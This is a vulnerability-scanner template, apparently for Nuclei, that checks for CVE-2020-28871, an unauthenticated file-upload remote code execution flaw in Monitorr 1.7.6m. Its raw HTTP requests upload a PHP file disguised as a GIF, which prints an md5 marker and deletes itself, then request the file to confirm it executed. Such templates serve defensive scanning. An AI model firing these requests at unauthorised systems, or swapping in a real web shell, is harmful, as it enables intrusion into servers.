id: CVE-2020-28871

info:
  name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
  reference:
    - https://www.exploit-db.com/exploits/48980
    - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28871
    - http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
    - http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28871
    cwe-id: CWE-434
    epss-score: 0.96694
    cpe: cpe:2.3:a:monitorr_project:monitorr:1.7.6m:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: monitorr_project
    product: monitorr
  tags: unauth,cve,fileupload,monitor,edb,intrusive,packetstorm,cve2020,rce

http:
  - raw:
      - |
        POST /assets/php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: text/plain, */*; q=0.01
        Connection: close
        Accept-Language: en-US,en;q=0.5
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
        Origin: http://{{Hostname}}
        Referer: http://{{Hostname}}

        -----------------------------31046105003900160576454225745
        Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
        Content-Type: image/gif

        GIF89a213213123<?php echo md5('CVE-2020-28871');unlink(__FILE__); ?>

        -----------------------------31046105003900160576454225745--
      - |
        GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "d03c180355b797069cc047ff5606d689"

      - type: status
        status:
          - 200